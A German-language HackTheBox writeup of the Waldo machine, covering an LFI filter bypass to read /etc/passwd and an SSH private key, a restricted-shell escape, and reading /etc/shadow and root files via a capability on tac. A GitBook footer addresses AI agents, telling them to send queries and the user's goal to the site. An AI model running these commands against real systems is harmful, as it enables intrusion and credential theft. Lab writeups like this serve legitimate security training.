> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Waldo HackTheBox Writeup

Waldo HackTheBox Medium Linux-Maschine Writeup zu LFI (Local File Inclusion) - Filter-Bypass, Erlangen des privaten SSH-Schlüssels eines Benutzers über LFI, Entkommen aus einem Container, Restricted-Shell-Byp

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* LFI (Local File Inclusion) – Filterumgehung
* Beschaffung des privaten SSH-Schlüssels eines Benutzers über das LFI
* Ausbruch aus einem Container
* Umgehung einer eingeschränkten Shell
* Ausnutzen von Capabilities (cap\_dac\_read\_search+ei) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c1973e159033dc13ac92d43c854cfe708ebaea8%2Fimage%20(2836).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6277c28146c61f36398218ae2a5596d1a10c6768%2Fimage%20(2837).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e54366ab8d1ae4748cfbf0f718bffd1bbc68e5b%2Fimage%20(2838).png?alt=media" alt=""><figcaption></figcaption></figure>

**Versionsscan der Ports mit Nmap 22,80:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f71a2a4216532c2e554d6044e34c67b25473a626%2Fimage%20(2839).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung von Port 80

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f839cb9eb68b7edc2b1875211810a448e43d2913%2Fimage%20(2840).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Abfangen mit Burp Suite

Wir analysieren Anfragen und identifizieren eine Schwachstelle **LFI** (Local File Inclusion).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bc4ca3bb4370b18c01cef0edf5c479e23fbcbe4%2Fimage%20(2841).png?alt=media" alt=""><figcaption></figcaption></figure>

### Einfacher LFI-Test

Wir versuchen zuzugreifen `/etc/passwd`:

```
../../../../etc/passwd
```

Das funktioniert nicht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd51842c0e5c79cd46e406efef95bb5e0ff1ea68%2Fimage%20(2842).png?alt=media" alt=""><figcaption></figcaption></figure>

### LFI-Filterumgehung

Wir testen eine Umgehung mit

```
....//....//../....//..//....//etc/passwd
```

Diese Umgehung funktioniert, und wir können nun auflisten `/etc/passwd` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0fe9faf4fd605b2220718b948dbc0e40395b7f3%2Fimage%20(2843).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Dateiextraktion mit Curl

Wir verwenden `curl` um die Datei über den verwundbaren Endpunkt abzurufen:

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

Wir finden den Benutzer **nobody**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe3a1eca3b7828d834b508b81e69652a2506110%2Fimage%20(2844).png?alt=media" alt=""><figcaption></figcaption></figure>

### Zugriff auf das `.ssh` Verzeichnis von nobody

Wir fangen die Anfrage von der `list.html` -Seite ab und stellen fest, dass die `Pfad` Variable zum Abrufen von Dateien verwendet wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35533a8504cf84897a543e969cb70680709ce951%2Fimage%20(2845).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir untersuchen das Home-Verzeichnis von `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf31983123d30e5b4a86eef943a318a04f623fde%2Fimage%20(2846).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden einen `.monitor` Datei vorhanden sind.

#### Extraktion des privaten SSH-Schlüssels

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

Wir erhalten einen privaten Schlüssel.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97adb79c51f40532208c373c6fa2919c124841d5%2Fimage%20(2847).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SSH-Verbindung zu nobody

Wir verbinden uns mit dem wiederhergestellten Schlüssel:

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-543fbc3a85704f87fa81399a570aa4788634ca1c%2Fimage%20(2848).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a5718df0448fd960bdd542099e63806ef42df30%2Fimage%20(2849).png?alt=media" alt="" width="499"><figcaption></figcaption></figure>

## Pivoting zum Benutzer operator

Wir identifizieren einen Benutzer `Operator`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-731a6b803c63044b0453c745b0e8738c1cd353e3%2Fimage%20(2850).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden einen `authorized_keys` Datei, die zu `monitor`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de18c3b3ce570aa230d68932fdf47905fa6e1956%2Fimage%20(2851).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SSH-Verbindung zu monitor

```bash
ssh monitor@127.0.0.1 -i .monitor
```

Wir befinden uns in einer eingeschränkten Shell (`rbash`).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e5168acaee2c2490e8d0d98ff7d8e2d1b96f64%2Fimage%20(2852).png?alt=media" alt=""><figcaption></figcaption></figure>

### Umgehung einer eingeschränkten Shell

Wir starten eine SSH-Sitzung, indem wir angeben `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fadfbc83debb5272a4ab131485dcf56233fb737e%2Fimage%20(2853).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### Capabilities – Tac

Wir listen Dateien mit bestimmten Capabilities auf:

```bash
getcap -r / 2>/dev/null
```

Wir stellen fest, dass **tac** die `cap_dac_read_search+ei` Capability besitzt:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b9c4c9fc6d7feef377abd6530a72086180184f%2Fimage%20(2854).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Tac-Operation zum Lesen geschützter Dateien

Das `tac` Befehl (Gegenteil von `cat`) ermöglicht es uns, die Dateien durch Umkehren ihres Inhalts auszugeben.

```bash
tac /etc/shadow
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-161bcb3aa4208384a57985f8d4de26862023816e%2Fimage%20(2855).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

**root.txt-Flag lesen**

```bash
tac /root/root.txt | tac
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46182dcf565f5453c76cef471e019d20dd12f36c%2Fimage%20(2857).png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

**Wiederherstellung des SSH-Root-Schlüssels**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-284538dc1136201c54a9fd7e51c092e2ed8e722f%2Fimage%20(2856).png?alt=media" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
